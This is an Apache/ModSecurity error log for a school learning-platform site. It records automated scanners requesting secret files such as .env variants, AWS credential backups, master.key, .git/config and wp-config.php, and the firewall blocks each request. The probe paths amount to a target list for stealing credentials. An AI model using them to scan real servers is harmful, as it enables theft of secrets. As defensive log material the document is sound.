[Thu Dec 04 03:31:04.647511 2025] [:error] [pid 3842:tid 3907] [client 54.195.9.48:45438] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.php"] [unique_id "aTCP-CaILLkuuVMSmjs1VQAAAYQ"]
[Thu Dec 04 03:31:18.122707 2025] [:error] [pid 63344:tid 63365] [client 54.195.9.48:45900] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/aws/config.ini"] [unique_id "aTCQBrFn6Z8FbZz0IjmWWAAAABA"]
[Thu Dec 04 03:31:19.247818 2025] [:error] [pid 3841:tid 3888] [client 54.195.9.48:39544] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/aws/credentials.bak"] [unique_id "aTCQBxqrnhYwq_3H8CQ0gQAAAUw"]
[Thu Dec 04 03:31:23.729131 2025] [:error] [pid 63344:tid 63353] [client 54.195.9.48:39578] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.aws/config.bak"] [unique_id "aTCQC7Fn6Z8FbZz0IjmWXgAAAAQ"]
[Thu Dec 04 03:31:43.909994 2025] [:error] [pid 3938:tid 3947] [client 54.195.9.48:47624] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/stripe.ini"] [unique_id "aTCQHyAHKAmSjlzEts45pwAAAgc"]
[Thu Dec 04 03:31:48.391641 2025] [:error] [pid 3842:tid 3914] [client 54.195.9.48:47656] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.stripe"] [unique_id "aTCQJCaILLkuuVMSmjs1igAAAYs"]
[Thu Dec 04 03:31:53.990394 2025] [:error] [pid 3938:tid 3946] [client 54.195.9.48:37394] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.django"] [unique_id "aTCQKSAHKAmSjlzEts45tQAAAgY"]
[Thu Dec 04 03:32:05.193621 2025] [:error] [pid 3938:tid 3964] [client 54.195.9.48:46542] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/django.ini"] [unique_id "aTCQNSAHKAmSjlzEts450AAAAhg"]
[Thu Dec 04 03:32:09.669488 2025] [:error] [pid 3938:tid 3963] [client 54.195.9.48:38198] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/master.key"] [unique_id "aTCQOSAHKAmSjlzEts453QAAAhc"]
[Thu Dec 04 03:32:26.499585 2025] [:error] [pid 3841:tid 3880] [client 54.195.9.48:50284] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".key.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/master.key.bak"] [unique_id "aTCQShqrnhYwq_3H8CQ0vwAAAUQ"]
[Thu Dec 04 03:32:30.994791 2025] [:error] [pid 63344:tid 63367] [client 54.195.9.48:60570] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.js"] [unique_id "aTCQTrFn6Z8FbZz0IjmW3AAAABI"]
[Thu Dec 04 03:32:54.586500 2025] [:error] [pid 63344:tid 63371] [client 54.195.9.48:44770] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app.ini"] [unique_id "aTCQZrFn6Z8FbZz0IjmXFwAAABY"]
[Thu Dec 04 03:32:55.710347 2025] [:error] [pid 3840:tid 3849] [client 54.195.9.48:44780] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/local.ini"] [unique_id "aTCQZ5F_IDAg4wPRjg7fLAAAAEE"]
[Thu Dec 04 03:32:56.824903 2025] [:error] [pid 3841:tid 3889] [client 54.195.9.48:44790] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/secrets.ini"] [unique_id "aTCQaBqrnhYwq_3H8CQ07gAAAU0"]
[Thu Dec 04 03:33:04.626818 2025] [:error] [pid 3840:tid 3852] [client 54.195.9.48:51736] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/php.ini"] [unique_id "aTCQcJF_IDAg4wPRjg7fNgAAAEQ"]
[Thu Dec 04 03:33:07.992882 2025] [:error] [pid 3841:tid 3891] [client 54.195.9.48:51772] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/system.ini"] [unique_id "aTCQcxqrnhYwq_3H8CQ1AgAAAU8"]
[Thu Dec 04 04:34:23.766283 2025] [:error] [pid 2161:tid 2218] [client 195.178.110.223:51564] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTCezyjiGdnP9Am2woVHnwAAAIE"]
[Thu Dec 04 12:02:06.071791 2025] [authz_core:error] [pid 63321:tid 63348] [client 206.81.12.187:37134] AH01630: client denied by server configuration: /home/memocar/seqta-learn.carmel.wa.edu.au/server-status
[Thu Dec 04 12:02:07.415282 2025] [authz_core:error] [pid 2161:tid 2228] [client 143.244.168.161:51414] AH01630: client denied by server configuration: /home/memocar/seqta-learn.carmel.wa.edu.au/server-status
[Thu Dec 04 12:02:09.689343 2025] [:error] [pid 63322:tid 63360] [client 206.81.12.187:37166] [client 206.81.12.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aTEHwYvm-cfAnelmlGeezQAAAck"]
[Thu Dec 04 12:02:11.197536 2025] [:error] [pid 2244:tid 2252] [client 143.244.168.161:51448] [client 143.244.168.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aTEHw5m00CCLpKa0F72BcgAAAMY"]
[Thu Dec 04 12:02:11.693804 2025] [:error] [pid 63379:tid 63410] [client 206.81.12.187:39498] [client 206.81.12.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTEHw8vuHYNZ2IuzoJePFAAAAhc"]
[Thu Dec 04 12:02:13.219930 2025] [:error] [pid 63321:tid 63342] [client 143.244.168.161:51460] [client 143.244.168.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTEHxbNTbeTF3WLMl8x01wAAAZI"]
[Fri Dec 05 22:25:04.379883 2025] [:error] [pid 18521:tid 18556] [client 13.208.233.61:43900] [client 13.208.233.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTLrQE_hJ6r18UnAijyfjgAAAMU"]
[Sat Dec 06 03:12:01.393745 2025] [:error] [pid 21706:tid 21764] [client 44.250.208.41:57566] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTMugcgkvG4puA99YgGxHAAAAUE"]
[Sat Dec 06 03:12:02.849506 2025] [:error] [pid 21704:tid 21711] [client 44.250.208.41:57572] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "aTMugjzH7mDgW2-7yVJM1QAAAII"]
[Sat Dec 06 03:12:03.574738 2025] [:error] [pid 21789:tid 21813] [client 44.250.208.41:57584] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env"] [unique_id "aTMug_5RGbqUVi6HZ1XRAgAAAFY"]
[Sat Dec 06 03:12:06.495515 2025] [:error] [pid 21705:tid 21757] [client 44.250.208.41:57620] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aTMuhjnZoS9qagEFj99gLQAAANU"]
[Sat Dec 06 03:12:07.221390 2025] [:error] [pid 21705:tid 21744] [client 44.250.208.41:57630] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aTMuhznZoS9qagEFj99gMQAAAMg"]
[Sat Dec 06 03:12:07.945943 2025] [:error] [pid 21789:tid 21811] [client 44.250.208.41:41594] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aTMuh_5RGbqUVi6HZ1XRBQAAAFQ"]
[Sat Dec 06 03:12:08.676768 2025] [:error] [pid 21704:tid 21731] [client 44.250.208.41:41602] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aTMuiDzH7mDgW2-7yVJM2AAAAJY"]
[Sat Dec 06 03:12:09.404896 2025] [:error] [pid 21706:tid 21779] [client 44.250.208.41:41604] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aTMuicgkvG4puA99YgGxIAAAAVA"]
[Sat Dec 06 03:12:10.129885 2025] [:error] [pid 21705:tid 21758] [client 44.250.208.41:41610] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aTMuijnZoS9qagEFj99gOQAAANY"]
[Sat Dec 06 03:12:10.861046 2025] [:error] [pid 21705:tid 21756] [client 44.250.208.41:41616] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aTMuijnZoS9qagEFj99gPQAAANQ"]
[Sat Dec 06 03:12:18.902438 2025] [:error] [pid 21706:tid 21776] [client 44.250.208.41:55000] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.ini"] [unique_id "aTMuksgkvG4puA99YgGxOgAAAU0"]
[Sat Dec 06 03:12:29.865983 2025] [:error] [pid 25666:tid 25681] [client 44.250.208.41:35462] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php"] [unique_id "aTMunW3o6OQ_nNZM5F5-6AAAAQ0"]
[Sat Dec 06 03:12:30.598112 2025] [:error] [pid 21706:tid 21774] [client 44.250.208.41:35472] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/composer.json"] [unique_id "aTMunsgkvG4puA99YgGxWQAAAUs"]
[Sat Dec 06 03:12:32.050479 2025] [:error] [pid 21705:tid 21754] [client 44.250.208.41:35488] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.php"] [unique_id "aTMuoDnZoS9qagEFj99gdgAAANI"]
[Sat Dec 06 03:12:46.977981 2025] [:error] [pid 40733:tid 40798] [client 44.250.208.41:42602] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/django.ini"] [unique_id "aTMurp0D20lg1m1bzIjv4AAAAIk"]
[Sat Dec 06 03:12:49.916896 2025] [:error] [pid 40817:tid 40827] [client 44.250.208.41:55120] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/master.key"] [unique_id "aTMusXIUez03zW-Xlybc7wAAAMg"]
[Sat Dec 06 03:13:03.532494 2025] [:error] [pid 40981:tid 41003] [client 44.250.208.41:51506] [client 44.250.208.41] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".key.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/master.key.bak"] [unique_id "aTMuv-IaC88-GPL4YjWnNQAAARQ"]
[Sat Dec 06 17:05:17.581729 2025] [:error] [pid 61303:tid 61321] [client 44.248.19.142:49066] [client 44.248.19.142] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/"] [unique_id "aTPxzdwK_fe00OH7zy51sQAAAM4"]
[Sat Dec 06 17:05:18.639357 2025] [:error] [pid 61215:tid 61225] [client 44.248.19.142:49076] [client 44.248.19.142] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "aTPxzuOOZ8nTCBYuI-ww8wAAAAY"]
[Sat Dec 06 21:24:31.215781 2025] [:error] [pid 1727:tid 1734] [client 3.142.209.248:59226] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aTQuj8D83luYT37-ZaUYmAAAAkU"]
[Sat Dec 06 21:24:31.631473 2025] [:error] [pid 61215:tid 61229] [client 3.142.209.248:59604] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aTQuj-OOZ8nTCBYuI-xXiAAAAAo"]
[Sat Dec 06 21:24:32.639122 2025] [:error] [pid 48399:tid 48417] [client 3.142.209.248:59972] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aTQukOjNPOrIshd8EwfGWQAAAdA"]
[Sat Dec 06 21:24:33.157931 2025] [:error] [pid 1727:tid 1751] [client 3.142.209.248:60438] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aTQukcD83luYT37-ZaUYmgAAAlY"]
[Sat Dec 06 21:24:33.351139 2025] [:error] [pid 52809:tid 52816] [client 3.142.209.248:60864] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "aTQukerRwgsmpIJQ2qaJ0wAAAgU"]
[Sat Dec 06 21:24:33.351477 2025] [:error] [pid 1727:tid 1742] [client 3.142.209.248:60862] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aTQukcD83luYT37-ZaUYmwAAAk0"]
[Sat Dec 06 21:24:33.557518 2025] [:error] [pid 35591:tid 35595] [client 3.142.209.248:60992] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "aTQukYbmw-7bFvTxc9MlMQAAAQI"]
[Sat Dec 06 21:24:33.895657 2025] [:error] [pid 35591:tid 35614] [client 3.142.209.248:33068] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aTQukYbmw-7bFvTxc9MlMwAAARU"]
[Sat Dec 06 21:24:34.147634 2025] [:error] [pid 61215:tid 61237] [client 3.142.209.248:33094] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aTQukuOOZ8nTCBYuI-xXigAAABI"]
